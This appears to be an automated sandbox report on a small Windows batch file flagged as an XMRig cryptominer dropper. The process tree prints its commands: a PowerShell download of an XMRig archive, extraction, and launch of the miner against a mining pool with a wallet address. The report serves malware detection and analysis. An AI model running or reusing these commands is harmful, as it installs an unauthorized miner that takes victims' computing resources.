Analysis
- max time kernel
1794s - max time network
1797s - platform
windows10-1703_x64 - resource
win10-20231215-en - resource tags
- submitted
01/01/2024, 03:11
General
- Target tesy - Copy (10).bat
- Size 608B
- Sample240101-dppkasdcf5
- SHA256 97db0437ecb6f401a4674dceead7b17a885241f2ab2495652863d2240f3bedab
Malware Config
Extracted
-
ps1
-
exe.dropper
https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip
Signatures
- XMRig Miner payload 64 IoCs
- xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
- Blocklisted process makes network request 2 IoCs
- Executes dropped EXE 1 IoCs
- Suspicious behavior: EnumeratesProcesses 6 IoCs
- Suspicious behavior: LoadsDriver 1 IoCs
- Suspicious use of AdjustPrivilegeToken 4 IoCs
- Suspicious use of FindShellTrayWindow 1 IoCs
- Suspicious use of WriteProcessMemory 6 IoCs
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (10).bat"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -command "(New-Object System.Net.WebClient).DownloadFile('https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip', 'xmrig-6.21.0-gcc-win64.zip')"2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -command "Expand-Archive -Path 'xmrig-6.21.0-gcc-win64.zip' -DestinationPath '.'"2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exexmrig.exe --url pool.hashvault.pro:80 --user 42BWpXvTvDbHpMyHrnjqBA5bqjnB9z65fGakJV9dQuHSS7pRkpoyx5T4vE4pUjJxPoPrLCAerjoKwdMTQKZNNEqo6zoLmPJ --pass tria2 --donate-level 1 --tls --tls-fingerprint 420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b142⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
-
Network
MITRE ATT&CK Matrix
Replay Monitor
Loading Replay Monitor...
Downloads
powershell.exe.log
StartupProfileData-NonInteractive
__PSScriptPolicyTest_yvd4myh3.d3i.ps1
xmrig-6.21.0-gcc-win64.zip
xmrig.exe
memory/208-142-0x00007FF64CCC0000-0x00007FF64D7C3000-memory.dmp
memory/208-136-0x00007FF64CCC0000-0x00007FF64D7C3000-memory.dmp
memory/208-186-0x00007FF64CCC0000-0x00007FF64D7C3000-memory.dmp
memory/208-185-0x00007FF64CCC0000-0x00007FF64D7C3000-memory.dmp
memory/208-184-0x00007FF64CCC0000-0x00007FF64D7C3000-memory.dmp
memory/208-183-0x00007FF64CCC0000-0x00007FF64D7C3000-memory.dmp
memory/208-182-0x00007FF64CCC0000-0x00007FF64D7C3000-memory.dmp
memory/208-181-0x00007FF64CCC0000-0x00007FF64D7C3000-memory.dmp
memory/208-180-0x00007FF64CCC0000-0x00007FF64D7C3000-memory.dmp
memory/208-179-0x00007FF64CCC0000-0x00007FF64D7C3000-memory.dmp
memory/208-178-0x00007FF64CCC0000-0x00007FF64D7C3000-memory.dmp
memory/208-177-0x00007FF64CCC0000-0x00007FF64D7C3000-memory.dmp
memory/208-176-0x00007FF64CCC0000-0x00007FF64D7C3000-memory.dmp
memory/208-175-0x00007FF64CCC0000-0x00007FF64D7C3000-memory.dmp
memory/208-174-0x00007FF64CCC0000-0x00007FF64D7C3000-memory.dmp
memory/208-173-0x00007FF64CCC0000-0x00007FF64D7C3000-memory.dmp
memory/208-119-0x000001872B7F0000-0x000001872B830000-memory.dmp
memory/208-120-0x00007FF64CCC0000-0x00007FF64D7C3000-memory.dmp
memory/208-121-0x000001872BC50000-0x000001872BC70000-memory.dmp
memory/208-122-0x000001872BE80000-0x000001872BEA0000-memory.dmp
memory/208-123-0x00007FF64CCC0000-0x00007FF64D7C3000-memory.dmp
memory/208-124-0x00007FF64CCC0000-0x00007FF64D7C3000-memory.dmp
memory/208-126-0x000001872BE80000-0x000001872BEA0000-memory.dmp
memory/208-125-0x000001872BC50000-0x000001872BC70000-memory.dmp
memory/208-127-0x00007FF64CCC0000-0x00007FF64D7C3000-memory.dmp
memory/208-128-0x00007FF64CCC0000-0x00007FF64D7C3000-memory.dmp
memory/208-129-0x00007FF64CCC0000-0x00007FF64D7C3000-memory.dmp
memory/208-130-0x00007FF64CCC0000-0x00007FF64D7C3000-memory.dmp
memory/208-131-0x00007FF64CCC0000-0x00007FF64D7C3000-memory.dmp
memory/208-132-0x00007FF64CCC0000-0x00007FF64D7C3000-memory.dmp
memory/208-133-0x00007FF64CCC0000-0x00007FF64D7C3000-memory.dmp
memory/208-134-0x00007FF64CCC0000-0x00007FF64D7C3000-memory.dmp
memory/208-135-0x00007FF64CCC0000-0x00007FF64D7C3000-memory.dmp
memory/208-147-0x00007FF64CCC0000-0x00007FF64D7C3000-memory.dmp
memory/208-137-0x00007FF64CCC0000-0x00007FF64D7C3000-memory.dmp
memory/208-138-0x00007FF64CCC0000-0x00007FF64D7C3000-memory.dmp
memory/208-139-0x00007FF64CCC0000-0x00007FF64D7C3000-memory.dmp
memory/208-140-0x00007FF64CCC0000-0x00007FF64D7C3000-memory.dmp
memory/208-141-0x00007FF64CCC0000-0x00007FF64D7C3000-memory.dmp
memory/208-118-0x0000018699420000-0x0000018699440000-memory.dmp
memory/208-143-0x00007FF64CCC0000-0x00007FF64D7C3000-memory.dmp
memory/208-144-0x00007FF64CCC0000-0x00007FF64D7C3000-memory.dmp
memory/208-172-0x00007FF64CCC0000-0x00007FF64D7C3000-memory.dmp
memory/208-146-0x00007FF64CCC0000-0x00007FF64D7C3000-memory.dmp
memory/208-145-0x00007FF64CCC0000-0x00007FF64D7C3000-memory.dmp
memory/208-148-0x00007FF64CCC0000-0x00007FF64D7C3000-memory.dmp
memory/208-149-0x00007FF64CCC0000-0x00007FF64D7C3000-memory.dmp
memory/208-150-0x00007FF64CCC0000-0x00007FF64D7C3000-memory.dmp
memory/208-151-0x00007FF64CCC0000-0x00007FF64D7C3000-memory.dmp
memory/208-152-0x00007FF64CCC0000-0x00007FF64D7C3000-memory.dmp
memory/208-153-0x00007FF64CCC0000-0x00007FF64D7C3000-memory.dmp
memory/208-154-0x00007FF64CCC0000-0x00007FF64D7C3000-memory.dmp
memory/208-155-0x00007FF64CCC0000-0x00007FF64D7C3000-memory.dmp
memory/208-156-0x00007FF64CCC0000-0x00007FF64D7C3000-memory.dmp
memory/208-157-0x00007FF64CCC0000-0x00007FF64D7C3000-memory.dmp
memory/208-158-0x00007FF64CCC0000-0x00007FF64D7C3000-memory.dmp
memory/208-159-0x00007FF64CCC0000-0x00007FF64D7C3000-memory.dmp
memory/208-160-0x00007FF64CCC0000-0x00007FF64D7C3000-memory.dmp
memory/208-161-0x00007FF64CCC0000-0x00007FF64D7C3000-memory.dmp
memory/208-162-0x00007FF64CCC0000-0x00007FF64D7C3000-memory.dmp
memory/208-163-0x00007FF64CCC0000-0x00007FF64D7C3000-memory.dmp
memory/208-164-0x00007FF64CCC0000-0x00007FF64D7C3000-memory.dmp
memory/208-165-0x00007FF64CCC0000-0x00007FF64D7C3000-memory.dmp
memory/208-166-0x00007FF64CCC0000-0x00007FF64D7C3000-memory.dmp
memory/208-167-0x00007FF64CCC0000-0x00007FF64D7C3000-memory.dmp
memory/208-168-0x00007FF64CCC0000-0x00007FF64D7C3000-memory.dmp
memory/208-169-0x00007FF64CCC0000-0x00007FF64D7C3000-memory.dmp
memory/208-170-0x00007FF64CCC0000-0x00007FF64D7C3000-memory.dmp
memory/208-171-0x00007FF64CCC0000-0x00007FF64D7C3000-memory.dmp
memory/3572-10-0x000002513F920000-0x000002513F930000-memory.dmp
memory/3572-7-0x00007FF9533F0000-0x00007FF953DDC000-memory.dmp
memory/3572-8-0x000002513F920000-0x000002513F930000-memory.dmp
memory/3572-9-0x000002513FBB0000-0x000002513FC26000-memory.dmp
memory/3572-27-0x000002513F920000-0x000002513F930000-memory.dmp
memory/3572-25-0x000002513F920000-0x000002513F930000-memory.dmp
memory/3572-4-0x000002513F8B0000-0x000002513F8D2000-memory.dmp
memory/3572-26-0x00007FF9533F0000-0x00007FF953DDC000-memory.dmp
memory/3572-32-0x00007FF9533F0000-0x00007FF953DDC000-memory.dmp
memory/4600-64-0x0000022AE8930000-0x0000022AE8940000-memory.dmp
memory/4600-38-0x00007FF9533F0000-0x00007FF953DDC000-memory.dmp
memory/4600-41-0x0000022AE8930000-0x0000022AE8940000-memory.dmp
memory/4600-40-0x0000022AE8930000-0x0000022AE8940000-memory.dmp
memory/4600-78-0x0000022AE9110000-0x0000022AE9122000-memory.dmp
memory/4600-91-0x0000022AE8E30000-0x0000022AE8E3A000-memory.dmp
memory/4600-115-0x00007FF9533F0000-0x00007FF953DDC000-memory.dmp